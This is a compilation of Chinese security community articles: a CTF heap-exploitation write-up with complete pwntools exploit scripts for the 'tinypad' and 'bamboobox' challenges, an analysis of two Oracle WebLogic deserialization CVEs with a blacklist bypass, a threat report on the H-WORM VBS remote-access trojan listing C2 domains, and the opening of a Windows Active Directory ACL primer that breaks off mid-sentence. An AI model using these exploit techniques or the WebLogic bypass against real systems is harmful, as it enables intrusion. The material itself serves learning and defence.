#stage 3
one_gadget = libc_base + 0x45216
io.success("libc_base: 0x%x" % libc_base)
environ_pointer = libc_base + libc.symbols['__environ']
io.success("environ_pointer: 0x%x" % environ_pointer)
add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
io.recvuntil(" # INDEX: 1\n")
io.recvuntil(" # CONTENT: ")
main_ret = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x8 * 30
io.success("main_ret: %x" % main_ret)
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
quit()
这里学到了一个新方法，通过environ泄露main函数ret地址，然后覆盖main_ret
在 Linux 系统中，glibc 的环境指针 environ(environment pointer)
为程序运行时所需要的环境变量表的起始地址，环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此，可通过
environ 指针泄露栈地址。
[讲解这部分的文章](http://0x4c43.cn/2018/1013/stack-overflow-smash-utilization/)
这里还用到个常用攻击方法，覆盖两个指针，一个用来控制另一个地址的，这个跟unlink那会学的攻击手法一样的，至于0x8*30,可以用查看内存中对比
自己调试的时候可以main函数尾部下个断，可以看到我这个结果
Breakpoint 1, 0x0000000000400e68 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x7f5fc76f6ae0 (_nl_C_LC_CTYPE_toupper) ◂— add byte ptr [rax], 0
RDI 0x51
RSI 0x0
R8 0x1
R9 0x1999999999999999
R10 0x0
R11 0x246
R12 0x4006e0 (_start) ◂— xor ebp, ebp
R13 0x7fff53d21f40 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x401370 (__libc_csu_init) ◂— push r15
RSP 0x7fff53d21e68 —▸ 0x7f5fc75a0830 (__libc_start_main+240) ◂— mov edi, eax
RIP 0x400e68 (main+1541) ◂— ret
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
► 0x400e68 <main+1541> ret <0x7f5fc75a0830; __libc_start_main+240>
↓
0x7f5fc75a0830 <__libc_start_main+240> mov edi, eax
0x7f5fc75a0832 <__libc_start_main+242> call exit <0x7f5fc75ba030>
0x7f5fc75a0837 <__libc_start_main+247> xor edx, edx
0x7f5fc75a0839 <__libc_start_main+249> jmp __libc_start_main+57 <0x7f5fc75a0779>
0x7f5fc75a083e <__libc_start_main+254> mov rax, qword ptr [rip + 0x3a8ecb] <0x7f5fc7949710>
0x7f5fc75a0845 <__libc_start_main+261> ror rax, 0x11
0x7f5fc75a0849 <__libc_start_main+265> xor rax, qword ptr fs:[0x30]
0x7f5fc75a0852 <__libc_start_main+274> call rax
0x7f5fc75a0854 <__libc_start_main+276> mov rax, qword ptr [rip + 0x3a8ea5] <0x7f5fc7949700>
0x7f5fc75a085b <__libc_start_main+283> ror rax, 0x11
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff53d21e68 —▸ 0x7f5fc75a0830 (__libc_start_main+240) ◂— mov edi, eax
01:0008│ 0x7fff53d21e70 ◂— 0x1
02:0010│ 0x7fff53d21e78 —▸ 0x7fff53d21f48 —▸ 0x7fff53d233b3 ◂— './tinypad'
03:0018│ 0x7fff53d21e80 ◂— 0x1c7b6fca0
04:0020│ 0x7fff53d21e88 —▸ 0x400863 (main) ◂— push rbp
05:0028│ 0x7fff53d21e90 ◂— 0x0
06:0030│ 0x7fff53d21e98 ◂— 0x63cd5245d4e10d9c
07:0038│ 0x7fff53d21ea0 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────
► f 0 400e68 main+1541
f 1 7f5fc75a0830 __libc_start_main+24
为什么是libc_start_main?建议看看第三篇讲的linux x86程序启动
给链接
[linux_x86程序启动中文版](https://luomuxiaoxiao.com/?p=516)
[linux_x86程序启动英文版](http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html)
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x0
RCX 0x7f30af211260 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x1
RDI 0x0
RSI 0x7fff48b59964 ◂— 0x7b51190000000000
R8 0x1
R9 0x1999999999999999
R10 0x0
R11 0x246
R12 0x4006e0 (_start) ◂— xor ebp, ebp
R13 0x7fff48b59a80 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fff48b59900 —▸ 0x7fff48b59950 —▸ 0x7fff48b59970 —▸ 0x7fff48b599a0 —▸ 0x401370 (__libc_csu_init) ◂— ...
RSP 0x7fff48b598b8 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax
RIP 0x7f30af211260 (__read_nocancel+7) ◂— cmp rax, -0xfff
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x7f30af211260 <__read_nocancel+7> cmp rax, -0xfff
0x7f30af211266 <__read_nocancel+13> jae read+73 <0x7f30af211299>
↓
0x7f30af211299 <read+73> mov rcx, qword ptr [rip + 0x2ccbd8]
0x7f30af2112a0 <read+80> neg eax
0x7f30af2112a2 <read+82> mov dword ptr fs:[rcx], eax
0x7f30af2112a5 <read+85> or rax, 0xffffffffffffffff
0x7f30af2112a9 <read+89> ret
0x7f30af2112aa nop word ptr [rax + rax]
0x7f30af2112b0 <write> cmp dword ptr [rip + 0x2d2489], 0 <0x7f30af4e3740>
0x7f30af2112b7 <write+7> jne write+25 <0x7f30af2112c9>
↓
0x7f30af2112c9 <write+25> sub rsp, 8
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fff48b598b8 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax
01:0008│ 0x7fff48b598c0 —▸ 0x7fff48b598f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
02:0010│ 0x7fff48b598c8 ◂— 0x1
03:0018│ 0x7fff48b598d0 —▸ 0x7fff48b59964 ◂— 0x7b51190000000000
04:0020│ 0x7fff48b598d8 —▸ 0x400fad (_write_n+112) ◂— mov qword ptr [rbp - 0x10], rax
05:0028│ 0x7fff48b598e0 —▸ 0x401a29 ◂— or al, byte ptr [rax] /* '\n' */
06:0030│ 0x7fff48b598e8 ◂— 0x0
07:0038│ 0x7fff48b598f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 7f30af211260 __read_nocancel+7
f 1 400ed9 _read_n+112
f 2 401100 read_until+73
f 3 400832 getcmd+92
f 4 4009c1 main+350
f 5 7f30af13a830 __libc_start_main+240
gdb-peda$ find '0x7f30af13a830'
Searching for '0x7f30af13a830' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fff48b599a8 --> 0x7f30af13a830 (<__libc_start_main+240>: mov edi,eax)
gdb-peda$ p 0x7fff48b599a8-0x7fff48b59a98
$1 = 0xffffffffffffff10
gdb-peda$ p 0x7fff48b59a98-0x7fff48b599a8
$2 = 0xf0
这里说下怎么找偏移，
从environ里leak出来的地址[+] main_ret: 0x7fff48b59a98，在与find出来的地址，find
的话，是find上面的f5那个地址，就是查找存了这个地址的位置，然后计算下偏移就行了
gdb-peda$ p 0x7fff48b59a98-0x7fff48b599a8
$2 = 0xf0
完结，撒花
### exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./tinypad')
libc = elf.libc
io = process('./tinypad')
#context.log_level = 'debug'
def choice(idx):
io.sendlineafter("(CMD)>>> ", idx)
def add(size, content):
choice("A")
io.sendlineafter("(SIZE)>>> ", str(size))
io.sendlineafter("(CONTENT)>>> ", content)
def remove(idx):
choice("D")
io.sendlineafter("(INDEX)>>> ", str(idx))
def edit(idx, content):
choice("E")
io.sendlineafter("(INDEX)>>> ", str(idx))
io.sendlineafter("(CONTENT)>>> ", content)
io.sendlineafter("(Y/n)>>> ", "Y")
def quit():
choice("Q")
def exp():
#stage 1 leak the addr
add(0x80, '1'*0x80)
add(0x80, '2'*0x80)
add(0x80, '3'*0x80)
add(0x80, '4'*0x80)
remove(3)
remove(1)
io.recvuntil("INDEX: 1\n")
io.recvuntil(" # CONTENT: ")
heap = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x120
io.success("heap: 0x%x" % heap)
io.recvuntil("INDEX: 3\n")
io.recvuntil(" # CONTENT: ")
leak_libc = u64(io.recvline().strip().ljust(8, '\x00')) - 88
io.success("main_arena: 0x%x" %leak_libc)
libc_base = leak_libc - 0x3c4b20
remove(2)
remove(4)
#stage 2
add(0x10, '1'*0x10)
add(0x100, '2'*0xf8 + p64(0x11))
add(0x100, '3'*0xf8)
add(0x100, '4'*0xf8)
tinypad = 0x0000000000602040
offset = heap + 0x20 - (0x602040 + 0x20)
io.success("offset: 0x%x" % offset)
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "4"*0x20 + fake_chunk)
remove(1)
add(0x18, '1'*0x10 + p64(offset))
remove(2)
#gdb.attach(io)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)*2)
#stage 3
one_gadget = libc_base + 0x45216
io.success("libc_base: 0x%x" % libc_base)
environ_pointer = libc_base + libc.symbols['__environ']
io.success("environ_pointer: 0x%x" % environ_pointer)
add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
io.recvuntil(" # INDEX: 1\n")
io.recvuntil(" # CONTENT: ")
main_ret = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x8 * 30
io.success("main_ret: %x" % main_ret)
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
quit()
gdb.attach(io)
if __name__ == '__main__':
exp()
io.interactive()
## hitcontraning_lab11(house of force)
这题算是实验，所以直接调试exp，
运行环境： libc2.23.so
最新的libc2.29似乎加入了检查，运行exp报错
### 漏洞利用过程
申请一个堆块状态，目的是覆盖top chunk
gdb-peda$ x/30gx 0x25ed000
0x25ed000: 0x0000000000000000 0x0000000000000021
0x25ed010: 0x0000000000400896 0x00000000004008b1
0x25ed020: 0x0000000000000000 0x0000000000000041
0x25ed030: 0x0000000a61616464 0x0000000000000000
0x25ed040: 0x0000000000000000 0x0000000000000000
0x25ed050: 0x0000000000000000 0x0000000000000000
0x25ed060: 0x0000000000000000 0x0000000000020fa1
0x25ed070: 0x0000000000000000 0x0000000000000000
0x25ed080: 0x0000000000000000 0x0000000000000000
0x25ed090: 0x0000000000000000 0x0000000000000000
0x25ed0a0: 0x0000000000000000 0x0000000000000000
0x25ed0b0: 0x0000000000000000 0x0000000000000000
0x25ed0c0: 0x0000000000000000 0x0000000000000000
0x25ed0d0: 0x0000000000000000 0x0000000000000000
0x25ed0e0: 0x0000000000000000 0x0000000000000000
通过edit 覆盖到top chunk的size部分
gdb-peda$ x/30gx 0x25ed030-0x30
0x25ed000: 0x0000000000000000 0x0000000000000021
0x25ed010: 0x0000000000400896 0x00000000004008b1
0x25ed020: 0x0000000000000000 0x0000000000000041
0x25ed030: 0x6161616161616161 0x6161616161616161
0x25ed040: 0x6161616161616161 0x6161616161616161
0x25ed050: 0x6161616161616161 0x6161616161616161
0x25ed060: 0x6161616161616161 0xffffffffffffffff
0x25ed070: 0x000000000000000a 0x0000000000000000
此时top chunk位置0x00000000025ed060
gdb-peda$ p &main_arena
$1 = (malloc_state *) 0x7f2a72614b20 <main_arena>
gdb-peda$ x/20gx 0x7f2a72614b20
0x7f2a72614b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7f2a72614b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b70 <main_arena+80>: 0x0000000000000000 0x00000000025ed060
位置为0x25ed060处，我们要覆盖的是0x25ed010处指针，故偏移为0x25ed060-0x25ed010-0x10 = 0x60
不过是负的，我们要往上偏移，所以要malloc(-)的
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Same, except also perform argument check */
#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);
这里先要过掉第一个检查， -2*MINSIZE，可以pass,接下来要让我们的
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) 刚好等于=-60
所以要减掉个SIZE_SZ, -68就是malloc大小了
gdb-peda$ p &main_arena
$1 = (malloc_state *) 0x7f2a72614b20 <main_arena>
gdb-peda$ x/20gx 0x7f2a72614b20
0x7f2a72614b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7f2a72614b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f2a72614b70 <main_arena+80>: 0x0000000000000000 0x00000000025ed000
0x7f2a72614b80 <main_arena+96>: 0x0000000000000000 0x00007f2a72614b78
0x7f2a72614b90 <main_arena+112>: 0x00007f2a72614b78 0x00007f2a72614b88
0x7f2a72614ba0 <main_arena+128>: 0x00007f2a72614b88 0x00007f2a72614b98
0x7f2a72614bb0 <main_arena+144>: 0x00007f2a72614b98 0x00007f2a72614ba8
gdb-peda$ x/10gx 0x00000000025ed000
0x25ed000: 0x0000000000000000 0x0000000000000059
0x25ed010: 0x0000000000400896 0x00000000004008b1
0x25ed020: 0x0000000000000000 0x0000000000000041
0x25ed030: 0x6161616161616161 0x6161616161616161
0x25ed040: 0x6161616161616161 0x6161616161616161
你看成功转移到这里了，现在在malloc一次就可以了
0x1483000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x400d49 <magic>,
bk = 0x400d49 <magic>,
fd_nextsize = 0x0,
bk_nextsize = 0x39
}
0x1483020 PREV_INUSE {
prev_size = 0x0,
size = 0x39,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x1483058 PREV_INUSE {
prev_size = 0x6161616161616161,
size = 0x6161616161616161,
fd = 0xffffffffffffa1,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
成功覆盖，最后退出一下就好了
### exp
这里直接用的ctf-wiki的exp,我只改动了一处，他还减多个0xf,没看懂，所以删掉了，也没事
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./bamboobox')
context.log_level = 'debug'
def additem(length, name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def modify(idx, length, name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def show():
r.recvuntil(":")
r.sendline("1")
magic = 0x400d49
# we must alloc enough size, so as to successfully alloc from fake topchunk
additem(0x30, "ddaa") # idx 0
payload = 0x30 * 'a' # idx 0's content
payload += 'a' * 8 + p64(0xffffffffffffffff) # top chunk's prev_size and size
# modify topchunk's size to -1
modify(0, 0x41, payload)
# top chunk's offset to heap base
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x8
additem(malloc_size, "dada")
additem(0x10, p64(magic) * 2)
gdb.attach(r)
print r.recv()
r.interactive()
## 总结
一次性学了house of einherjar和house of force,ctf-wiki还是强，不过有些得自己调试才好,适合自己的才是最好的 | 社区文章 |
**作者：Zhiyi Zhang of 360 ESG Codesafe Team
作者博客：<https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/>**
### 前言
Oracle 官方在7月份发布[关键补丁更新](https://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
"关键补丁更新")之后，我在当月随后陆续提交了一些weblogic的不同类型漏洞，由于官方并
没有全部修复完成，本次的补丁修复了我报送的6个漏洞，其中有3个漏洞由于某些原因合并成1个CVE，本文针对10
月份这次补丁修复的其他两个漏洞进行简单分析。其中CVE-2018-3245是补来补去一直没有修好的`Weblogic
JRMP`反序列化漏洞，另一个漏洞CVE-2018-3252是`DeploymentService`组件的反序列化漏洞。
### CVE-2018-3252 (DeploymentService Deserialization via HTTP)
当我在阅读`DeploymentService`这个`servlet`的时候，在`doPost`函数中看到用于对通过HTTP方式提交的POST数据处理的核心函数`internalDoPost`。
可以看到，`var4`是通过HTTPHeader中的`wl_request_type`获取。然后进入不同的处理逻辑中。这里先跟进`handleDataTransferRequest`函数。
在上图箭头所指向的地方，程序对`var9`进行了反序列化，而`var9`是通过`DeploymentObjectInputStream`的构造函数生成，其中函数中的参数都是我们可控制的。
再来看`handleDeploymentServiceMessage`函数，基本逻辑大致相同，也是对`DeploymentObjectInputStream`对象的反序列化。
看到这里，心里隐隐觉得这个洞应该很好用，还是通过HTTP的方式。细心的同学可能发现，这里我们分析的每个函数都有一个参数是AuthenticatedSubject对象。这就是这个漏洞鸡肋的地方，需要用户认证。有兴趣的同学可以深入分析一下weblogic的用户认证机制，试试bypass?。具体函数请参考`authenticateRequest`，下图关于该函数有做删减，方便大家看到weblogic提供的两种认证方式。
这里我们使用`username/password`的用户认证方式验证PoC。
### CVE-2018-3245(JRMP Deserialization via T3)
在拿到7月份补丁后迅速去diff了一下，果然不出所料，针对JRMP反序列化修复的方式依旧是增加黑名单。黑名单package(DEFAULT_BLACKLIST_PACKAGES)新增`java.rmi.activation
sun.rmi.server`;黑名单class(DEFAULT_BLACKLIST_CLASSES)新增`java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler`。
private static final String[] DEFAULT_BLACKLIST_PACKAGES = {
"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = {
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
其实如果认真分析过之前相关漏洞和补丁的同学，都能够很容易找到绕过的方式。
正如之前和lpwd讨论的所谈到，只要满足继承`java.rmi.server.RemoteObject`,且不在黑名单之中的类对象。
这里我通过`ReferenceWrapper_Stub`这个类对象绕过。
验证:
WebLogic Console Log:
java.lang.ClassCastException: com.sun.jndi.rmi.registry.ReferenceWrapper_Stub cannot be cast to
weblogic.rjvm.ClassTableEntry.
java.lang.ClassCastException: com.sun.jndi.rmi.registry.ReferenceWrapper_Stub cannot be cast to
weblogic.rjvm.ClassTableEntry
at weblogic.rjvm.MsgAbbrevInputStream.readClassDescriptor(MsgAbbrevInputStream.java:410)
at
weblogic.utils.io.ChunkedObjectInputStream$NestedObjectInputStream.readClassDescriptor(ChunkedO
bjectInputStream.java:284)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1564)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1495)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1582)
Truncated. see log file for complete stacktrace
### 总结
可能目前谈到weblogic漏洞的挖掘，马上想到的是反序列化漏洞。依照之前多次补丁更新的迹象，虽然可能还是会
有新的绕过，但是能够使用的gadget越来越少，会让漏洞的利用难度提高很多。其实，我在阅读weblogic代码的过
程中发现，很多在java中常见的漏洞:文件下载、上传、SSRF、XXE、DoS…这些漏洞也都存在，并且利用简单方便。
或许，试着找些其他类型的漏洞配合使用，也是可以达到远程代码执行的效果。
### 参考
* [Critical Patch Update - October 2018](https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html "Critical Patch Update - October 2018")
* [Ysoserial](https://github.com/frohoff/ysoserial "Ysoserial")
感谢你的阅读，文中如有问题，可以通过[email protected]与我联系。
* * * | 社区文章 |
# H-WORM：简单而活跃的远控木马
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**现象**
人在做,天在看。
远控类木马的活动一直是360天眼实验室的关注重点,近期我们的天眼设备发现了如下一组看起来非常眼熟的被访问的链接。URL的模式非常明显:免费动态域名+非知名的端口+“/is-ready” 。
[http://adolf2013.sytes.net:1183/is-ready](http://adolf2013.sytes.net:1183/is-ready)
[http://herohero.no-ip.org:96/is-ready](http://herohero.no-ip.org:96/is-ready)
[http://micr0s0ftsoft.myftp.org:82/is-ready](http://micr0s0ftsoft.myftp.org:82/is-ready)
[http://dzhacker15.no-ip.org:100/is-ready](http://dzhacker15.no-ip.org:100/is-ready)
[http://blackmind.redirectme.net:820/is-ready](http://blackmind.redirectme.net:820/is-ready)
[http://aass.no-ip.biz:83/is-ready](http://aass.no-ip.biz:83/is-ready)
[http://sidisalim.myvnc.com:1888/is-ready](http://sidisalim.myvnc.com:1888/is-ready)
[http://spy2010net.zapto.org:83/is-ready](http://spy2010net.zapto.org:83/is-ready)
[http://smoker21.hopto.org:1920/is-ready](http://smoker21.hopto.org:1920/is-ready)
---
查询360威胁情报中心,上面提及的这些域名关联到同一个IP地址:204.95.99.31 。
而对IP 204.95.99.31查询情报中心的Passive
DNS数据,我们可以发现其绑定过大量的恶意域名,从那些域名通过威胁情报中心又能很快关联相应的恶意样本。经过对得到的样本的分析,我们确认其中绝对大部分样本属于H-WORM恶意代码家族,此外还有一些诸如njRAT、 XtremeRAT、njW0rm等使用同一家族通信协议的RAT恶意样本。
从我们对相关样本量的历史监测图来看,H-WORM在国内一直保有一定的活跃度,其实H-WORM是个非常简单的恶意代码,但在我们强大的病毒查杀体系下却能生存一下必定有它的原因,那么我们来了解一下这个叫做H-WORM的恶意程序。
**H-WORM**
H-WORM是个ID为Houdini的人写的一款用VBS实现远控蠕虫,能够通过感染U盘传播,出现的时间最早可以追溯到2013年7月。因为其简洁有效的远控功能、非PE脚本易于免杀、便于修改等特性,一直被黑产所青睐而活跃至今。
2013年7月24日,H-WORM的作者Houdini在某论坛上发布H-WORM的帖子
H-WORM样本的主要传播方式有三种:电子邮件附件、恶意链接和被感染的U盘传播,蠕虫式的传播机制会形成大量的感染。 下面为作者公开提供下载的H-WORM控制端截图,下载地址见文后的参考链接:
**样本分析**
代码简洁而有效是H-WORM最大的特点。这里我们对选取其中一个H-WORM样本做一下简单分析,看看H-WORM感染受害者计算机后到底做了些什么,普通用户又该怎样采取应对措施。
样本HASH:1eb712d4976babf7c8cd0b34015c2701bc5040420e688911e6614b278cc82a42
样本名称: F:cwtslatwbl.vbs
将样本代码简单解密后,得到真正的代码。解密方式为将“81899982838”替换为空格,然后取每个数值对应的ASCII字符即可。
样本首先通过读取注册表HKEY_LOCAL_MACHINEsoftware脚本名
项来判断当前系统是否已经感染,如未感染,则写入该项。然后通过写入注册表项HKCUSoftwaremicrosoftCurrentVersionRun和HKLMSoftwaremicrosoftCurrentVersionRun来实现开机自启动,并将自身拷贝到temp目录和Startup目录下:
接着,进入主循环,H-WORM会不断循环遍历系统驱动器判断是否有可移动磁盘接入,如果有,则将自身拷贝到可移动磁盘内设置文件属性为隐藏、系统文件。同时将除了.lnk文件外的其他文件隐藏,然后创建其快捷方式,快捷方式的参数则设置为用cmd调用自身,然后再打开原始文件以迷惑用户,这是极其常见而又非常有效的通过移动介质进行传播的方式。相关的代码如下:
之后开始连接远程服务器,通过HTTP请求向服务器发送用户信息,其收集的用户信息包括computername、username、操作系统版本、杀软信息等等。接着开始接收服务器命令,主要功能有文件管理、进程管理、远程shell、执行远程代码等等,值得一提的是样本使用了User-Agent来传递数据:
接收命令和对应功能如下图,命令格式为 command <|> param,通过<|>分割命令和参数。
受害者的计算机感染H-WORM之后,攻击者可以进一步地推送其他恶意程序,使其被彻底控制,或者使其成为僵尸网络的一部分。
**感染情况**
通过360威胁情报中心的数据,我们估计了最近一个月的H-WORM的感染量,感染的计算机超过6000台。从地域来看,感染影响32个省份和直辖市,其中陕西省和吉林省的受害者最多,占总数的10%和9%;其次是河南、天津,比例均超过7%;然后是四川、广东、江苏、福建、山东、云南等,占比也超过5%。这个分布状态与我们通常看到的与省份的发达程度成正比的恶意代码感染量并不一致,背后的原因也许值得挖掘。
**IOC**
我们统计到的H-WORM样本涉及的C&C地址共有173个,其中有126个域名可以观察到历史解析信息,截至最近抽样统计总共解析接近1000万次。
下表为目前比较活跃的其中50个域名,可以作为非常有效的IOC使用。全部已知的域名作为威胁情报已经推送到天眼设备,在部署了设备的网络可以快速发现被感染的系统。
域名
---
zzzch.zapto.org
ysf.no-ip.biz
ycemufkk6g.bounceme.net
xxx-xxx.no-ip.info
xkiller.no-ip.info
wach.no-ip.org
tariqalr.zapto.org
shagagy21.no-ip.biz
sexcam.3utilities.com
servecounterstrike.servecounterstrike.com
playgame.servecounterstrike.com
p-dark.zapto.org
nouna1985.no-ip.org
n0it.no-ip.org
mzab47.myq-see.com
modox.no-ip.org
mmoohhaammeedd.no-ip.biz
mlcrosoft.serveftp.com
microsoftupgrades.servehttp.com
microsoftsystem.sytes.net
micr0s0ftsoft.myftp.org
mda.no-ip.org
maroco.redirectme.net
maroco.myq-see.com
maroco.linkpc.net
man2010.no-ip.org
korom.zapto.org
koko.myftp.org
klonkino.no-ip.org
king.servemp3.com
herohero.no-ip.org
hacker20133.no-ip.org
googlechrome.servequake.com
g00gle.sytes.net
dzhacker15.no-ip.org
dz47.servehttp.com
dz47.myq-see.com
dz47.linkpc.net
dream7.no-ip.biz
diiimaria.zapto.org
desha10.no-ip.org
dataday3.no-ip.org
darkanony0501.no-ip.biz
cupidon.zapto.org
chrom.no-ip.info
bog5151.zapto.org
blackmind.redirectme.net
albertino.no-ip.info
adolf2013.sytes.net
adamdam.zapto.org
**参考链接**
<http://www.ic0de.org/archive/index.php/t-12134.html>
[http://rghost.net/47560191](http://rghost.net/47560191)
[https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html](https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html) | 社区文章 |
# Windows内网协议学习LDAP篇之域权限上
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：daiker@360RedTeam
## 0x00 前言
这两篇文章主要是讲windows 域内的权限访问控制，这是上篇，主要有ACL,ACE相关的一些基础概念的介绍。
## 0x01 windows 访问控制模型
在 Active Directory 中设置权限，其方式与在文件中设置权限的方式几乎相同。权限控制都是使用windows
访问控制模型。这里简单提一下windows 访问控制模型。
windows 访问控制模型是由两部分组成。
● 访问令牌（Access Token）包含用户的标识(User SID,Group SIDS)，以及特权列表。
● 安全描述符（security identifiers）。被访问的安全对象的相关安全信息。
这里的安全对象包括但不限于
● NTFS卷上的文件和目录
● 注册表项
● 网络共享
● 服务
● Active Directory对象
● 进程等等
由于这个系列都是讲域相关的。所以这篇文章的安全对象我们特指Active Directory对象。也就是AD 树上的每个条目。
如下图所示。
在域里面用户的身份上用sid 来表示而不是用用户名来查看，我们可以通过查看用户属性objectsid来查看一个用户的sid。
大体的流程是。当对象A来访问B的时候，A会出示自己的Access
Token,然后包含自己的用户sid，自己所在的组的sid，以及特权列表。B这个安全对象，有自己的ACL。
● B首先判断是不是需要特权才能访问，如果需要特权，则查看A的Access Token看有没有那个特权。
● B通过A的Access Token，来判断A的用户
sid以及组sids，跟自己的ACL做比对，来判断是否让A进行访问。关于ACL的更多细节，将在下一节具体阐述。
## 0x02 ACL 简介
### 1\. ACL 简介
在前面说过，B通过A的Access Token，来判断A的用户 sid以及组sids，跟自己的ACL做比对，来判断是否让A进行访问。接下来详细介绍ACL。
ACL主要有两个作用
* 1. 权限访问控制
* ● 一个用户能不能访问安全对象
2. 日志记录功能
* ● 访问成功与否
根据ACL的两个作用。ACL包含DACL和SACL。
1. DACL
DACL起到的作用是权限访问控制，也就是判断一个用户能不能访问安全对象。DACL 由若干条ACE构成。如下图所示，权限项目里面是一条又一条的ACE。
那DACL 是怎么判断用户能否访问呢。
我们来举个例子。
SRM对acl的解析是
1. 明确定义的DENYACE。
2. 明确定义的ALLOWACE
3. 继承的DENYACE。
4. 继承的ALLOWACE。
在不考虑特权的情况底下。情况如下。
● 当A 访问安全对象D的时候
